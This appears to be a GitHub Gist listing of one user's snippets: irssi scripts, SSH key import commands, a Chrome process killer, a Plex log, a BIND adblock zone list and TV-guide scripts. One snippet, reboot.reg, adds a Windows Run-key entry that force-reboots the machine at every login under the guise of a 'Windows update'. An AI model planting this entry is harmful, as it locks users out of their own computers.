Skip to content

Instantly share code, notes, and snippets.

@saihtaM
saihtaM / chromeNotAllowed.pyw
Created December 16, 2013 13:52
Kill Chrome if someone install and run it
import psutil # http://code.google.com/p/psutil/
import os, time
import win32api # http://sourceforge.net/projects/pywin32/
while 1:
# Lets check every 15. second
time.sleep(15)
# Get a list of all running processes
list = psutil.get_pid_list()
@saihtaM
saihtaM / id_rsa.pub
Last active December 28, 2015 21:09
SSH Public key
# http://packages.debian.org/sid/ssh-import-id
# https://launchpad.net/ubuntu/precise/+package/ssh-import-id
apt-get install ssh-import-id
# Old version of ssh-import-id
ssh-import-id saihtam
# New version that supports both lp and gh - lp and gh should contain the same key - if not PANIC and remove any of the added keys ASAP
ssh-import-id lp:saihtam gh:saihtaM
@saihtaM
saihtaM / commonchannels.pl
Last active December 18, 2015 20:48
irssi script: Show Common Channels in Query
use Irssi;
use vars qw($VERSION %IRSSI);
$VERSION = "1.2";
%IRSSI = (
authors => "Mathias",
contact => "#Mathias @ irc.QuakeNet.org",
name => "Show Common Channels in Query",
description => "When a new query window opens, the script automatically lists the channels you have in common with the other user.",
license => "BSD 4-Clause", # http://en.wikipedia.org/wiki/BSD_licenses#4-clause_license_.28original_.22BSD_License.22.29
url => "http://okey.dk/"
@saihtaM
saihtaM / closeallqueries.pl
Last active November 28, 2022 19:48
irssi script: Close all open quries (and DCC chats)
use Irssi;
use vars qw($VERSION %IRSSI);
$VERSION = "1.0";
%IRSSI = (
authors => "Mathias F. Svendsen",
contact => "#Mathias @ irc.QuakeNet.org",
name => "Close all open quries (and DCC chats)",
description => "A quick command to close all those queries you have!",
license => "GPL",
url => "http://okey.dk/"
@saihtaM
saihtaM / Adding 'Home Movies' (success - SAME FOLDER)
Last active December 18, 2015 13:09
(Log file) Cannot add anything else than 'Home Movies' in Plex Media Server Linux
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - Request: GET /system/agents?mediaType=1 [192.168.x.125:61597] (4 live)
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - * mediaType => 1
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - [com.plexapp.system] Sending command over HTTP (GET): /system/agents?mediaType=1
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - HTTP requesting to: http://127.0.0.1:53699/system/agents?mediaType=1
Jun 15, 2013 10:57:02 [0x7f7e9a7fc700] DEBUG - Request: GET /system/scanners/1 [192.168.x.125:61598] (5 live)
Jun 15, 2013 10:57:02 [0x7f7e9a7fc700] DEBUG - [com.plexapp.system] Sending command over HTTP (GET): /system/scanners/1
Jun 15, 2013 10:57:02 [0x7f7e9a7fc700] DEBUG - HTTP requesting to: http://127.0.0.1:53699/system/scanners/1
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - [com.plexapp.system] HTTP reply status 304, with 0 bytes of content.
Jun 15, 2013 10:57:02 [0x7f7e9a7fc700] DEBUG - [com.plexapp.system] HTTP reply status 304, with 0 bytes of content.
Jun 15, 2013 10:57:02 [0x7f
@saihtaM
saihtaM / reboot.reg
Created April 4, 2013 11:56
Windows auto-shutdown/reboot.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"MicrosoftPorn"="shutdown.exe /r /l /f /c /t:0 \"Windows update\""
@saihtaM
saihtaM / tv_grab_url-setup.py
Last active May 1, 2022 23:37
TVHeadend tv_grab_url - with automatic setup script for Linux Newbies.
#!/usr/bin/env python
# coding=utf-8
import os
import sys,stat
import urllib2
installto = "/usr/bin/tv_grab_url"
def replace_line(file_name, line_num, text):
#Stolen from http://stackoverflow.com/questions/4719438/editing-specific-line-in-text-file-in-python
@saihtaM
saihtaM / named.conf
Created November 18, 2012 08:22
BIND Config adblock
zone "101com.com" { type master; notify no; file "null.zone.file"; };
zone "101order.com" { type master; notify no; file "null.zone.file"; };
zone "103bees.com" { type master; notify no; file "null.zone.file"; };
zone "123banners.com" { type master; notify no; file "null.zone.file"; };
zone "123found.com" { type master; notify no; file "null.zone.file"; };
zone "123pagerank.com" { type master; notify no; file "null.zone.file"; };
zone "180hits.de" { type master; notify no; file "null.zone.file"; };
zone "180searchassistant.com" { type master; notify no; file "null.zone.file"; };
zone "180solutions.com" { type master; notify no; file "null.zone.file"; };
zone "1x1rank.com" { type master; notify no; file "null.zone.file"; };
@saihtaM
saihtaM / TimeForTv.py
Created November 1, 2012 15:20
Get TimeFor.TV XMLTV downloaded and inserted into EyeTV (Danish)
#!/usr/bin/python
# coding=utf-8
# Name: Script for downloading XMLTV and inserting it into EyeTV on Mac OS X.
# Requirements: Mac OS X, Python, EyeTV & TimeFor.TV Pro user.
# crontab -e suggestion: 0 6 * * * /Users/USER/TimeForTv.py
# Web/manual: http://okey.dk/?p=311
# Pro-tip: Lad vær med at skrive .py i fil navnet for at få Mac til at automatisk åbne terminalen, i stedet for evt. IDE tools du har.
# Copyright Mathias F. Svendsen - okey.dk
import urllib2, os, subprocess, time
@saihtaM
saihtaM / pprint.py
Created July 2, 2012 03:55
Dumping variables
import pprint
pprint.pprint(globals())
pprint.pprint(locals())